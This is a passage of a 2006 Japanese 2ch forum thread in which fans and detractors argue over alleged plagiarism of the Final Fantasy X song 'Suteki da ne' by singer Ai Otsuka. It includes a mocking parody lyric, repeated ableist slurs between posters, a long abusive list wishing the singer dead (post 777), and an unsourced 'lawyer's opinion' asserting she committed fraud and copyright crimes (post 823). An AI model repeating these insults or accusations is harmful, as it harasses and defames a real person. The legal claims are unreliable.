あたし 可愛い 盗塚哀 うた下手だけど 頑張ってます 頑張っているのは パクリだけ
2ch の人に バレはじめてる 「素敵だね」 の パクリ バレてる
助けて下さい エイベックス
またしても エイベッ糞が 隠蔽工作

※2サビ
SI ブリッ子にしていれば CDが 売れて行く 会社の 策略よ 便利だ
SI そろそろ あたしも 次の曲 パクらなきゃ 隠蔽 よろしくね 楽チンだわ うたを パクり 売る だけで あたしに 金 入って来る うれしいな

※1サビ繰り返し


715 :名も無き音楽論客:2006/02/18(土) 14:55:40 ID:Wz/C12HG
>>714マルチな上につまんね。

716 :名も無き音楽論客:2006/02/18(土) 15:48:35 ID:???
>>714
よく書いた!
>>710 >>715
社会のゴミ

717 :名も無き音楽論客:2006/02/18(土) 16:21:49 ID:Wz/C12HG
>>716アンチなんだが。単純につまんね。

718 :名も無き音楽論客:2006/02/18(土) 19:23:12 ID:JTklzSuH
>>711
盗作許すも許さないもまだ盗作をしてるか確定できません。
勝手な推測はやめろ。
てか、検証サイトがあるがたかが知れてる。

719 :名も無き音楽論客:2006/02/18(土) 19:53:44 ID:Wz/C12HG
>>718わかったわかった。ここはね、大塚の盗作疑惑を本当に盗作だと思って、それを許せない人が話し合うスレなのよ。
わ か っ た ら 失 せ ろ お っ さ ん

720 :名も無き音楽論客:2006/02/18(土) 19:56:51 ID:Tv1A4vp5
>>718
バカwww
犬塚が盗作したと思ってるヤシがここに来るの
藻前みたいな痛いヲジサンは来なくての

721 :名も無き音楽論客:2006/02/18(土) 19:58:05 ID:???
結局アンチって根拠のない戯言を言うだけなんだよな。

722 :名も無き音楽論客:2006/02/18(土) 20:21:25 ID:JTklzSuH
>>719
中にはオマエラとは違う意見の人もたくさんいるわけなの。
まともに話し合い出来ないお前らが哀れ。
ってかオッサンとか盗作確定だと思い込んでるけどホント馬鹿??
>>720
お前みたいな日本語も書き込めないお前は可哀想。
もっとちゃんと書けよ。

723 :名も無き音楽論客:2006/02/18(土) 20:31:40 ID:Tv1A4vp5
今更盗作じゃないとかほざいてる激痛ヲジサンは可哀相だな
きっと今まで苦労が多かっただろうに

724 :名も無き音楽論客:2006/02/18(土) 20:45:46 ID:JTklzSuH
>>723
結局アンチは意味不明な根拠しかないだろ?
アンチの勝手な推測だ。
盗作100%とか言い張るアンチは頭大丈夫???
俺は盗作してない!と言い切ったつもりはない。

725 :名も無き音楽論客:2006/02/18(土) 20:58:05 ID:Wz/C12HG
はぁ〜…。おっさんはスルーで。

726 :ちぃ:2006/02/18(土) 21:03:23 ID:wjv8j8cf
やっぱり大塚ゎ許せない。
横から失礼します。私FFシリーズ大好きで、10とか大好きなんだけど、「素敵だね」パクられて
かなり頭にきています。パクリは本当に許せない


727 :名も無き音楽論客:2006/02/18(土) 21:04:40 ID:Tv1A4vp5
ヲッサン必死杉www
そんなにあなたのオナネタが罵倒されるのが許せないのですか

728 :名も無き音楽論客:2006/02/18(土) 21:29:44 ID:???
>>724
意味不明なのはお前、アンチは事実や自ら聴いて自己の理念に基づき発言している。
現実逃避もたいがいにしろ、餓鬼くさい。
事実あれ聴いて盗作じゃなと感じるのは基地外盗塚信者達だけだ。


729 :名も無き音楽論客:2006/02/18(土) 21:42:35 ID:/OV21mjp
電気用品安全法(PSE法)に対する署名サイト
を公開しました.
http://www.jspa.gr.jp/pse/

730 :名も無き音楽論客:2006/02/18(土) 21:54:08 ID:JTklzSuH
>>726
<パクリは本当に許せない
パクリかどうかもはっきりしてないのにパクリパクリ言うな。
100%盗作と決まったわけでもない。
>>728
アンチは本当におかしい。基地外とかオッサンとか馬鹿丸出しな言葉連発。
>>727なんか問題外。

アンチが盗作したと思うならまだ分かるけど、絶対盗作だ!なんていえないだろ?
そこんとこわきまえろ

731 :名も無き音楽論客:2006/02/18(土) 21:57:24 ID:???
>>728
<事実あれ聴いて盗作じゃなと感じるのは基地外盗塚信者達だけだ。

ダレも絶対盗作じゃない!なんか言ってません。
かと言って盗作だ!とも言ってません。
勝手に話作らないでくれる??
しかも字間違ってるし。

732 :名も無き音楽論客:2006/02/18(土) 22:04:08 ID:Tv1A4vp5
>>730-731
本当に信者は痛いな

盗作と決まる決まらないの問題じゃないだろ
あれだけ似ていれば盗作と言わざるを得ない
何故そんなに盗作を認められないんだ?


733 :名も無き音楽論客:2006/02/18(土) 22:05:04 ID:???
>>730-731はいはい自演自演。

734 :名も無き音楽論客:2006/02/18(土) 22:15:11 ID:97V3WZdU
なるほど。
つまりアンチ君たちが騒いでる問題の5音は、
作曲の植松氏が地球上で初めて作ったメロディであり、
素敵だねを聴いた後でなければ
絶対に同じメロディを作ることが不可能な高度なものだ。
だから絶対に盗作である。
と、アンチ君らが思い込んでるという認識でよいのかな?(笑)

そうでないと盗作呼ばわりが成立しないロジックだよね。

735 :名も無き音楽論客:2006/02/18(土) 22:23:26 ID:???
>>731
基地外言うのが馬鹿丸出しなら信者達や盗塚日本文化に蔓延る寄生虫だな。
てかお前一人に対して言ってない信者全体に対して言ってることだし、文章理解力零だな。
おまえ厨房だろ。どういう育ちをしたらそうなるのやら、やれやれ。


736 :名も無き音楽論客:2006/02/18(土) 22:29:04 ID:Wz/C12HG
>>734植松ってPVじゃなかった?

737 :名も無き音楽論客:2006/02/18(土) 22:29:45 ID:???
>>734
植松はPVや音楽演出だ歌詞は野島氏だヴォケ
盗塚と植松を比べるなおっさんチリと太陽の差なんだよ。


738 :名も無き音楽論客:2006/02/18(土) 22:30:36 ID:Tv1A4vp5
年齢はヲッサン
頭脳は厨房


739 :名も無き音楽論客:2006/02/18(土) 22:47:55 ID:97V3WZdU
ん? じゃあ素敵だねのメロディは誰が作ったんだ?
歌詞カードに
「Music Nobuo Uematsu」
と書いてあるからそう書いたまでなんだが。

まあ、仮に誰が作ったにせよ、
あの素敵だねのメロディを聴いた後でないと
絶対に同じメロディを作れないと思い込んでるのか?
という質問自体は変わらないけど。

740 :名も無き音楽論客:2006/02/18(土) 22:51:23 ID:???
B'zと大塚愛が新曲で盗作対決するみたいお

741 :名も無き音楽論客:2006/02/18(土) 22:52:12 ID:Tv1A4vp5
>>740
詳細キボンヌ

742 :名も無き音楽論客:2006/02/18(土) 23:13:50 ID:???
>>739
餓鬼が作詞と作曲は違う。
作れないとは思わないけど、盗塚の才能では野島や植松の作った作品は作れない。


743 :名も無き音楽論客:2006/02/18(土) 23:17:46 ID:Tv1A4vp5
犬塚は
書かれた詩を
リズムに合わせて
読んでいる
だけ


744 :名も無き音楽論客:2006/02/18(土) 23:31:15 ID:???
とりあえず
買うつもりもないしどうでも良いや

745 :名も無き音楽論客:2006/02/18(土) 23:33:44 ID:???
絶対盗作だ!ってアンチは騒いでるかもしれないけど、絶対って言葉はどっからきてんだ??
オマエラの個人的な考えで人を寄生虫だとか基地外盗塚信者とかいって本当にアンチは皆こんななの?
マジでアンチの言うことおかしいんだけど?精神異常者?

746 :名も無き音楽論客:2006/02/18(土) 23:36:45 ID:???
>>741
新曲が同じ日か同じ週に発売されるみたいです
詳しくはこちらで尋ねて下さい

B'z統一スレッド Vol.574
http://music5.2ch.net/test/read.cgi/musicjg/1140257006/

747 :名も無き音楽論客:2006/02/18(土) 23:40:35 ID:Tv1A4vp5
>>745
自分の耳で聞けばわかること
アンチは耳で聞いて
盗作だ
と言ってるんだ

ファンはどうして
盗作じゃない
と言えるんだ?
根拠でもあんのか?

748 :名も無き音楽論客:2006/02/18(土) 23:43:00 ID:???
だから、確かに歌詞カードには
「Lyrics Kazushige Nojima」
とも書かれてるが、野島氏とやらがメロディも作ったのか?
ということを聞いてるんだが。
ふつうはミュージックと書かれてる方を作曲者と思うからな。

749 :名も無き音楽論客:2006/02/18(土) 23:49:19 ID:Tv1A4vp5
それが盗作じゃないという証拠か?
乏しいな

750 :名も無き音楽論客:2006/02/18(土) 23:51:03 ID:???
>>745
盗塚とRIKKIの曲を聴き比べた時に。
個人的な考えではなく被害者の創意だ。
信者が寄生虫や基地外扱いされるのはスレでアホやっているからだ。
どっちが精神異常者なんだか。
はぁー信者は低脳ばっかり。

751 :名も無き音楽論客:2006/02/18(土) 23:53:56 ID:???
>>748
勉強やり直せ。

752 :名も無き音楽論客:2006/02/18(土) 23:59:03 ID:Tv1A4vp5
>>751
手遅れと思われ(´∀`)

753 :名も無き音楽論客:2006/02/19(日) 00:06:30 ID:???
>>748
この世に生を受けた時からやり直せ

754 :名も無き音楽論客:2006/02/19(日) 00:10:12 ID:U1ooF197
生を受けるべきでないと思われ(´∀`)

755 :名も無き音楽論客:2006/02/19(日) 00:27:15 ID:???
なんだ、検索しても作曲が植松伸夫で合ってるじゃないか。
アンチ君たちが一番質問されたくないことを聞かれたから、
話をそらして逃げただけの話か。

756 :名も無き音楽論客:2006/02/19(日) 00:29:37 ID:U1ooF197
それがなにか?

757 :名も無き音楽論客:2006/02/19(日) 00:30:39 ID:xCua2ak1
大塚愛の甘えんぼがaikoの密かなさよならの仕方にかぶる

758 :名も無き音楽論客:2006/02/19(日) 00:31:41 ID:0qHinXco
音楽コピーどこでやればいいかなぁ・・・

759 :名も無き音楽論客:2006/02/19(日) 00:34:54 ID:???
>>755
は?何言ってんのちゃんと調べろ
作曲 植松伸夫
作詞 野島一成
って書いてあろーが寄生虫、てめ調べてないだろ。

760 :名も無き音楽論客:2006/02/19(日) 00:46:28 ID:???
ココのアンチは特におかしい。
俺はお前らに盗作はしてないぞと確信したわけじゃない。
かといってアンチはお前らだけの根拠で勝手に盗作とみなしている。
盗作!?と思うのはたくさんいる。
お前らみたいな絶対盗作!なんか言い張って呆れる。さすがアンチは低脳以下だ。笑

761 :名も無き音楽論客:2006/02/19(日) 00:47:48 ID:KPzSqN4j
最近の大塚愛のアンチは日本語もかけないなんて・・・ちょっとビックリ!驚

762 :名も無き音楽論客:2006/02/19(日) 00:53:07 ID:???
759の基地外アンチは何がやりたいんだろう?(笑)
さっきから文脈が読めてないにもほどがあるんだけど。

763 :名も無き音楽論客:2006/02/19(日) 00:56:56 ID:U1ooF197
>>760-762
自作自演乙
なんでファンは盗作をあいまいにしか考えらえられないんだ

764 :名も無き音楽論客:2006/02/19(日) 01:15:40 ID:???
>>763
ボウヤだからさ。
これではっきりしたな字が読めないのではなく
痛いとこ突かれて反抗が自作自演しかできない
これだけ言っても分からない信者は、もう切り捨てるしかないな
結局大塚は日本の文化に泥を塗った恥さらしこれは変えようが無い事実。
まぁ信者達は所詮、低所得者の集まりだろがな。



765 :名も無き音楽論客:2006/02/19(日) 01:19:30 ID:LUe+ShcC
なるほど(笑)
実はアンチ君たちも本当は盗作しなくても
簡単に作れるメロディだと思っていて、
だけどどうしても大塚愛とエイベックスを叩きたいから、
根拠を聞かれると必死に話をそらして逃げ回ってるわけか。
信者だ自作自演だとわめいて姑息にすりかえてな。

766 :名も無き音楽論客:2006/02/19(日) 01:23:07 ID:s0FLxG0j
いま盗塚愛がCDTVに
出てやがった!
エイベッ糞ごり押ししてんな!
画面に写すな!
公共の電波で流すな!
ブラウン菅が汚れる!
日本の恥!

767 :名も無き音楽論客:2006/02/19(日) 01:30:53 ID:???
>>765
実はアンチ君たちも本当は盗作しなくても
簡単に作れるメロディだと思っていて
 意味不明、誰もそんな風に思っていない。
だけどどうしても大塚愛とエイベックスを叩きたいから
 少なくとも、俺は違う、理由があるから叩いてる。
根拠を聞かれると必死に話をそらして逃げ回ってるわけか。
 根拠書いてんだろ聞き比べや弁護士の話。
信者だ自作自演だとわめいて姑息にすりかえてな。
 すり替えてないし被害妄想も大概にしろ。

768 :名も無き音楽論客:2006/02/19(日) 01:33:59 ID:WjPeBs3N
隣にいた友人が、CDTVで盗塚愛が、
出た瞬間泡吹いて死にました。

769 :名も無き音楽論客:2006/02/19(日) 01:52:52 ID:???
てかさ、盗塚信者って、あんだけ、証拠揃ってるのに
認めないなんて、読解力無いのか、現実逃避してるのか意味判らない。

770 :名も無き音楽論客:2006/02/19(日) 01:57:47 ID:KPzSqN4j
>>768
だっけ!?
話はどれだけ?
>>769
証拠?笑わせんなよ!

771 :名も無き音楽論客:2006/02/19(日) 01:59:06 ID:???
アンチって盗塚信者とか基地外とか現実逃避とか泡吹いて死にましたとかオッサン
とか自作自演とか・・・
ほんとアンチは馬鹿!!

772 :名も無き音楽論客:2006/02/19(日) 02:00:32 ID:???
あとアンチって盗作がどうのこうのの前に日本語の勉強でもしてろ!

773 :名も無き音楽論客:2006/02/19(日) 02:04:08 ID:???
哀れだな>>769は何も判ってない大塚愛が盗作じゃない物なんか無い。
超究武神斬炸裂、>>769はご臨終です



774 :名も無き音楽論客:2006/02/19(日) 02:07:00 ID:???
哀れだな>>770-771-772は何も判ってない大塚愛が盗作じゃない物なんか無い。
超究武神斬炸裂、>>770-771-772はご臨終です



775 :名も無き音楽論客:2006/02/19(日) 02:08:39 ID:???
また自演がきましたよ。

776 :名も無き音楽論客:2006/02/19(日) 02:11:23 ID:???
やっぱり信者は日本に蔓延る害虫共だな。


777 :名も無き音楽論客:2006/02/19(日) 02:13:31 ID:???
大塚愛は死ね・氏ね・くたばれ・来るな・逝け・葬れ・消えろ・失せろ・潰れろ・殺られろ・轢かれろ・枯れろ・萎えろ・落ちろ・滅びろ・滅び去れ・追放しろ・立ち去れ・立ち退け・出ていけ・引っ越せ・邪魔するな・震度毛。
場違い・気違い・基地外・キチガイ・kittyguy・空気読め・空気嫁・半年ROMれ・あぼーん・厨房・消防・能無し・無気力・無能・低能・低脳・DQN・電波・池沼・逝ってよし。
お荷物・不要物・不純物・障害物・老廃物・産業廃棄物・不良品・欠陥品・粗悪品・粗製濫造品・消耗品・規格外。
ヤンキー・チンピラ・ごろつき・やくざ者・暴徒・暴力団・暴走族・極道顔・不逞の輩・愚連隊・アウトロー。
首狩り族・糞主食族・未開の民族・アメラントロポイド・懐刀・オズワルド・ストレスが溜まる。
言語障害・知的障害・最低以下の下劣・下等種族・劣等種族・劣等民族・下等生物・微生物・劣悪種・天罰の対象物。
馬鹿・阿呆・痴呆・白痴・痴漢・ヴォケ・ドジ・ハゲ・油性・おっちょこちょい・とんちき・ぶりっこ。
破廉恥・厚顔無恥・恥知らず・恥さらし・生き恥・世界の恥・地球の恥・人類の恥・日本の恥・恥を知れ。
成り上がり・叩き上げ・姑息・面汚し・泥塗り・裏切り・寝返り・浅はか・自惚れ・恩知らず・低脳丸出し・アホ丸出し・馬鹿丸出し・
馬鹿野郎・クソ野郎・ゴミ野郎・ブタ野郎・下衆野郎・糞虫野郎・蛆虫野郎・コミケ野郎・チキン野郎・脳みそ筋肉野郎・最低以下の下劣野郎。
漢字だらけ格好悪い・なんでも漢字・ワンパターン・同じ事の繰り返し・無反省。
魔物・妖怪・悪霊・怨霊・死霊・死神・貧乏神・疫病神・奇天烈。余命1年・アク・割れたコップ・精神年齢7歳・3審は必要なし。
サル・エテ公・胸毛マン・市中引きずり回し・ドライアイス・腐った葡萄・破産・逝かれ消防・襤褸雑巾・おなら・おもらし・どんけつ・ブービー・資源の無駄遣い・ゴミ餃子の肉・キャベツ太郎・蠅取り紙。
ガッデム・ビッチ・サノバビッチ・監獄・バイオハザード・客としてキムチ.ぐらいも渡せない。


778 :名も無き音楽論客:2006/02/19(日) 02:16:59 ID:???
おいおい、落ち着けよ。
気持ちは分かるがそういうのは敵地でやれ

779 :名も無き音楽論客:2006/02/19(日) 02:23:14 ID:???
てかさぁー。
信者ども、用語が分からないなら書くなよ
低学歴なんだから家ではぁはぁ、しながら大塚の盗作した歌でも聞いてろ。

780 :名も無き音楽論客:2006/02/19(日) 02:28:56 ID:???
>>770笑わせるなよじゃなくてさ、アンチは盗作の根拠としてメロディーやら歌詞やらPVの比較やら弁護士の意見やら出してるわけだ。内容について反論しろ。盗作をしてないという根拠を。それと自演を疑われたくないならトリップをつけろ。

781 :名も無き音楽論客:2006/02/19(日) 02:35:34 ID:Vh9E7lsT
http://hp26.0zero.jp/439/crazydress/

782 :名も無き音楽論客:2006/02/19(日) 02:37:00 ID:???
>>780
言うだけ無駄、奴等は人の言葉を知らず、聞かず、そのなれはてなんだから
知りながらも突き進んだ道なんだから。
奴等は大塚の言葉しか耳に入らない。
逮捕されて有罪が確定しても聞かないんだから。

783 :名も無き音楽論客:2006/02/19(日) 08:39:42 ID:U1ooF197
>>782
>>言うだけ無駄
アホか
そこを言わなきゃ意味ねえだろ

「まあ言うだけ無駄」と言えば アンチを煽りつつ 根拠を言わずにすむから低能なお前にとっちゃ最高の言葉だよな


784 :名も無き音楽論客:2006/02/19(日) 09:05:06 ID:l4f4/sdp
アンチらは延々と負け惜しみとすり替えを繰り返してるが、
>>742 のレスで、しょせん幼稚な脊髄反射に基づく、
根拠のあやふやさの決定的なボロが出てしまったよな。

→ 作れないとは思わないけど、

→ 盗塚の才能では野島や植松の作った作品は作れない。

785 :名も無き音楽論客:2006/02/19(日) 09:12:31 ID:???
とりあえず、おまえらみんな、ララララ

786 :名も無き音楽論客:2006/02/19(日) 09:13:56 ID:U1ooF197
盗塚側に勝ち目は無い

787 :名も無き音楽論客:2006/02/19(日) 09:25:34 ID:???
初心者な質問な上スレ関係なくてすまないんだがトリップとは何ですか?付け方教えてください。

788 :名も無き音楽論客:2006/02/19(日) 09:48:22 ID:rzlFP+6k
久しぶりに来たらなにこの多さwww

や は り お っ さ ん の 影 響 かwww

それとおっさん、僕たちは僕たちなりに大塚の曲を聴いてそこから間違いなく盗作だといっているんだ。
君だって大塚の曲を聴いたうえでこれは盗作かどうかはわからないという自分なりの考えを言っているんだろ?
人それぞれ考え方は違うんだからそこはしょうがないんじゃないかな?

789 :名も無き音楽論客:2006/02/19(日) 09:49:35 ID:???
とりあえず・・カエレ

790 :名も無き音楽論客:2006/02/19(日) 10:14:34 ID:U1ooF197
ヲッサンが痛いことに変わりはない

791 :名も無き音楽論客:2006/02/19(日) 10:29:47 ID:???
かわいいっ

792 :名も無き音楽論客:2006/02/19(日) 10:56:32 ID:lVedVnU6
ここにいるアンチは皆馬鹿だな。
だってさっきから盗作だ!としか言ってない。
しかも検証はあくまでオマエラだけの判断で盗作と決めたんだろ?
それだけじゃ盗作100%じゃないだろーが。
そこんとこ考えろ!別の意見も取り入れようとはしないのか??

793 :名も無き音楽論客:2006/02/19(日) 10:58:51 ID:l4f4/sdp
その通り。
アンチらは延々と負け惜しみとすり替えを繰り返してるが、
>>742 のレスで、しょせん幼稚な脊髄反射に基づく、
根拠のあやふやさの決定的なボロが出てしまったよな。

→ 作れないとは思わないけど、

→ 盗塚の才能では野島や植松の作った作品は作れない。

794 :名も無き音楽論客:2006/02/19(日) 11:08:23 ID:U1ooF197
あのな
じゃあ何がどうなったら100%パクりって事になるんだ?
それにお前ら一見それらしい事言ってるけど
盗塚がパクりじゃないって根拠を一言も語ってないのだが

795 :名も無き音楽論客:2006/02/19(日) 11:18:11 ID:zsnvn8my
かわいいから許す

796 :名も無き音楽論客:2006/02/19(日) 12:33:41 ID:lVedVnU6
>>794
お前は本当に馬鹿か??
人が言っている意味わかんないの??
理解力ゼロかよ!
だから俺は別に盗作じゃないなんて一言も言っていない。
アンチが勝手に盗作と決め付けてるだけじゃない?
しかもオマエラの勝手な判断で。
アンチの言うことは勝手で都合のいいように話をそらす。

797 :名も無き音楽論客:2006/02/19(日) 12:36:40 ID:???
確かにアンチは勝手に盗作と決めてるアホだからな!
世間で大塚愛が人気なの分かる?
お前らみたいな盗作だ!って意見は非常に多いが残念ながらお前らの身勝手な意見
じゃあ意見とはいわん。


798 :名も無き音楽論客:2006/02/19(日) 12:39:39 ID:CTUU5oyV
>>796トリップつけろ

799 :名も無き音楽論客:2006/02/19(日) 12:41:18 ID:U1ooF197
>>796
まあそう熱くなるな

お前にも分かりやすく言うとな
・アンチは耳で聞いて盗作と判断してる
・>>「まだ盗作と決まったわけじゃない」
盗作と決まってから批判してたんじゃ意味がない。アンチが「盗作だ」と主張しなければ誰も動かない。誰も動かないのなら盗作と証明できない

わかるか?どこが話をそらしてんだ?
お前は話をそらすどころか話の内容をわかっとらんぞ

800 :名も無き音楽論客:2006/02/19(日) 12:59:49 ID:???
>>799
お前の言いたいことは分かる。
要は盗作だ!って確実に思える人を増やしたいってこと?
お前のその言葉で分かった。
でも残念ながらアンチの力じゃあ何も起きないね!笑
世間を見よ。

801 :名も無き音楽論客:2006/02/19(日) 13:01:18 ID:lVedVnU6
>>799
お前らの耳で盗作がどうかなんか分かるはずねーじゃん。
馬鹿いってんな。

802 :名も無き音楽論客:2006/02/19(日) 13:05:39 ID:U1ooF197
耳以外の何で判断するんだ?
そんなに盗作だと信じたくないのか?
そこまで盗作じゃないというなら盗作ではない事を裏付ける証拠でも見せて下さい

803 :名も無き音楽論客:2006/02/19(日) 13:17:55 ID:CTUU5oyV
>>800-801だからトリップつけろよ。

804 :名も無き音楽論客:2006/02/19(日) 13:39:16 ID:???
おまえら!かわいいっ!!

805 :名も無き音楽論客:2006/02/19(日) 13:44:39 ID:???
こなあああああああああああああああああゆきいいいいいいいいいいいいいいいいい

806 :名も無き音楽論客:2006/02/19(日) 13:49:02 ID:???
ねぇぇぇっぇぇl

807 :名も無き音楽論客:2006/02/19(日) 14:49:09 ID:???
あーもー
信者は相手にすんなって
昨日までレスして話が一方通行なのが誰でも分かる。
やってない、やってない、だけじゃん。
こっちは弁護士から訊いた意見言ってんのに反論が無い。
社会の負け組み共の相手すんな。

808 :名も無き音楽論客:2006/02/19(日) 15:01:57 ID:U1ooF197
過去レス見てきた
ファンの発言に吹いてしまいましたwwwwwww

809 :名も無き音楽論客:2006/02/19(日) 15:27:55 ID:???
>>807>>808

自己演乙!
ワラかしていただきましたぁ(藁

810 :アンチ ◆hQsQ6ih7SU :2006/02/19(日) 15:41:43 ID:U1ooF197
神の失敗作がIDを隠してやってきましたが気にしないで下さい

811 :名も無き音楽論客:2006/02/19(日) 15:50:54 ID:???
  ___
  /     \
 /       ヽ
 |   /  ̄ ゙̄i丿
│  |_ ■_ ■_ ちくしょう・・・
│ / | ・ |^| ・ |
 (6    ̄( 。。)
 |  (__人__)
 ヽ ___/

  __,冖__ ,、  __冖__   / //      ,. - ―- 、
 `,-. -、'ヽ' └ァ --'、 〔/ /   _/        ヽ
 ヽ_'_ノ)_ノ    `r=_ノ    / /      ,.フ^''''ー- j
  __,冖__ ,、   ,へ    /  ,ィ     /      \
 `,-. -、'ヽ'   く <´   7_//     /   ■■■、,.;j■
 ヽ_'_ノ)_ノ    \>     /      /   ┌─┐┌─┐、
         「 |      /     / :   │ ・ |^│ ・ |
   n     | |      /.      | J  -''' =( ○○)
   ll     || .,ヘ   /   ,-、  |   ,r' / ̄'   ヽ
   ll     ヽ二ノ__  {  / ハ `l/   i' (___人__)
   l|         _| ゙っ  ̄フ.rソ     i' l r'     ''ァ)
   |l        (,・_,゙>  / { ' ノ    l  /     / /
   ll     __,冖__ ,、  >  >-'     ;: |  !    i {
   l|     `,-. -、'ヽ'  \ l   l     ;. l |     | !
   |l     ヽ_'_ノ)_ノ   トー-.   !.    ; |. | ,. -、,...、| :l
   ll     __,冖__ ,、 |\/    l    ; l i   i  | l
   ll     `,-. -、'ヽ' iヾ  l     l   ;: l |  { j {
   |l     ヽ_'_ノ)_ノ  {   |.      ゝ  ;:i' `''''ー‐-' }
. n. n. n        l  |   ::.   \ ヽ、__     ノ
  |!  |!  |!         l  |    ::.     `ー-`ニ''ブ
  o  o  o      ,へ l      :.         


812 :名も無き音楽論客:2006/02/19(日) 16:38:33 ID:xOG5ceqR
あのさ別に俺は盗作だと言ったつもりはないしかといって盗作じゃないとも言ってない。
どちらもいえないのになぜアンチは盗作を確定するんだ?
オマエラの言うことは確実なのか?
周りから見れば信じられん。
世間では大塚愛はかなり人気。盗作疑惑ごときで盗作だと決め付けないで欲しい。

大体アンチの言う証拠はなんなんだ?別に証拠にもならないんだけど・・・
そんなのはお前らアンチの感情的な意見だろ??
俺は決して盗作してない!とも断定できないし、逆にしたとも断定できん。
半信半疑の状態だ!アンチ君には分かるかな??

813 :名も無き音楽論客:2006/02/19(日) 16:41:51 ID:???
ってかアンチって強引だよな。
無理やり盗作したって言い通すしさ。
証拠ないから疑惑なんじゃん。
疑惑の意味も分からないアンチがほとんどですね!
アンチの中でも半信半疑の人だってたくさんいるはずなのに・・・
まあとにかくココのアンチは強引だ。

814 :マサ:2006/02/19(日) 16:42:21 ID:???
超パワフルキュートボーカルと
スーパー裏打ちギター!
そして超安定したマシンベースと
鬼っぱや!ドラム!
さらに有名バンドに在籍経験のあるバカテクサックス!

俺らが 最 強 スカポップバンド
           「スカパワーズ」だ!

確実に来る!2ちゃんねる内で話題沸騰!
http://ip.tosp.co.jp/i.asp?I=skapower


 
   「 俺はそこに行く!だれもたどり着いた事の無い場所に!
           俺にはそこにいける自信がある 最高の仲間と共に! 」 
 

※荒らし厳禁



815 :名も無き音楽論客:2006/02/19(日) 16:50:38 ID:U1ooF197
>>812-813
かなり痛いヲジサンがまた自演してますが単なる基地外なので気にしないで下さい

816 :名も無き音楽論客:2006/02/19(日) 17:08:34 ID:???
>>815
キター馬鹿丸出し小僧。

817 :名も無き音楽論客:2006/02/19(日) 17:18:44 ID:???
>>812-813
同じ文の繰り返し、日本語が分からない信者共は疲れるな
いい加減荒らしも目障りだな。
ベルセッティ・ファミリーに頼んで消してもらうか。

818 :アンチ ◆Y/JGN/wCwk :2006/02/19(日) 17:23:13 ID:U1ooF197
>>816-817
また自演ですかwwww
同じ事を繰り返してるのはあなたですよwwwwww
( ゚,_ゝ゚)バカジャネーノ

819 :名も無き音楽論客:2006/02/19(日) 17:24:25 ID:U1ooF197
レスアンカー間違えた↑
>>812-813

820 :名も無き音楽論客:2006/02/19(日) 17:25:56 ID:qoUQCc2g
アンチの方がひどいモンだ。短文の繰り返し繰り返しで、ヤレヤレ

821 :名も無き音楽論客:2006/02/19(日) 17:38:05 ID:???
ってかこのネタ飽きた。盗作問題なんてもうどうでもいい。
ここでただ言い争ってたって何の解決にもなんないしな

822 :名も無き音楽論客:2006/02/19(日) 17:45:55 ID:???
大塚の盗作最初はどーでもよかったんだが、プラネタリウム聞いた時は本気で(ry

ま、此処で何言っても無駄って事でFA?

823 :名も無き音楽論客:2006/02/19(日) 18:09:00 ID:???
Q「大塚愛が「素敵だね」を盗作した件についての見解を御聞かせください。」
弁護士「本件に関しては大塚愛さんが行った行為は「著作権侵害」および「詐欺罪」にあたりますね。」
Q「何故、詐欺罪と著作権侵害に当たりますか?」
弁護士「まず著作権侵害ですが、音楽などの場合まず、歌詞、音調、が類似し、かつ一章節の類似の場合は知的財産権の侵害となり、
    権利侵害行為に対し個人の場合300万円以下の罰金に処せられ法人や会社の場合1億円以下の罰金が処せられます。
    ただこの場合被害者からの被害届が無ければ何もできません。
    本件の場合は権利の侵害は明白ですのでほぼ間違いなく損害賠償は取れるでしょう。
    更に詐欺罪ですが自らが創作していないにもかかわらず特定の利益を得ていますから詐欺罪の適用は免れないでしょう。
    又ファイナルファンタジー程の世界的有名作品を盗作と言う事なら法律が許す最高刑に処せられる事も考えられます。
以上、某弁護士の見解でした。

824 :名も無き音楽論客:2006/02/19(日) 18:12:32 ID:U1ooF197
ここで争っても無駄とか言ってたら意味がない
パクりと決まったわけじゃなくてもかなり似ているのは事実。
パクりと決まるか決まらないかを待ってたら結果的にこの盗作問題はいつになっても何も変わらない。

すごく似ているんだからパクりと言って何か悪いのか?ファン供?

825 :名も無き音楽論客:2006/02/19(日) 18:14:58 ID:???
>>824
激しく同意

826 :名も無き音楽論客:2006/02/19(日) 18:18:16 ID:qoUQCc2g
>>823>>825

自演乙!

それが弁護士の見解ならやめた方がいいな、その弁護士。藁

827 :名も無き音楽論客:2006/02/19(日) 18:21:50 ID:???
>>826
何故?

828 :名も無き音楽論客:2006/02/19(日) 18:27:30 ID:qoUQCc2g
大塚愛が「素敵だね」を盗作した件についての見解を御聞かせください。

ここから書き直した方が良いな。藁

829 :アンチ ◆XX27l8nm3w :2006/02/19(日) 18:28:19 ID:U1ooF197
>>826は弁護士の素晴らしい見解に何も言う事が出来ず、弁護士を批判する事で自己満足しているようです



830 :名も無き音楽論客:2006/02/19(日) 18:30:25 ID:???
>>827
じゃあ質問ができん。

831 :名も無き音楽論客:2006/02/19(日) 18:32:44 ID:qoUQCc2g
インターネット上にある弁護士か何かのホームページを見て著作権法とかみながら自分で書いたんだろ?藁

832 :名も無き音楽論客:2006/02/19(日) 18:33:58 ID:U1ooF197
>>828
何もおかしくないぞ
大丈夫か

見解を聞かせて下さい

盗塚は「著作権侵害」、「詐欺罪」に該当する

何故著作権侵害、詐欺罪に該当するのですか?

著作権侵害は音楽の場合 歌詞や音調が類似し、かつ一小節の類似の場合は知的財産侵害となる

etc…

ごく普通の会話の流れだが

833 :名も無き音楽論客:2006/02/19(日) 18:38:45 ID:qoUQCc2g
もうここまでで自演がばれてるわけだが?で、相談料はいくらだった?

834 :名も無き音楽論客:2006/02/19(日) 18:38:56 ID:???
>>831
いや、事前に著作権の事で相談したいのですが、お時間いただけませんか?
と電話予約して
三時間の相談して、相談料一万払った。


835 :名も無き音楽論客:2006/02/19(日) 18:39:43 ID:qoUQCc2g
おつかれ

836 :名も無き音楽論客:2006/02/19(日) 18:41:41 ID:???
大塚愛の事が許せず、
弁護士に相談するのは当たり前

837 :名も無き音楽論客:2006/02/19(日) 18:42:56 ID:U1ooF197
ID qoUQCcg2 はよく意味がわからん
「見解をお聞かせ下さい」
から書き直せ
と言ったが どういう事だ?

838 :名も無き音楽論客:2006/02/19(日) 18:50:13 ID:???
ID qoUQCcg2 は、信者。

839 :名も無き音楽論客:2006/02/19(日) 18:52:39 ID:hyuBQBH8
ようするに、大塚愛が謝罪すれば良い話しなんだよ。

840 :名も無き音楽論客:2006/02/19(日) 18:53:58 ID:???
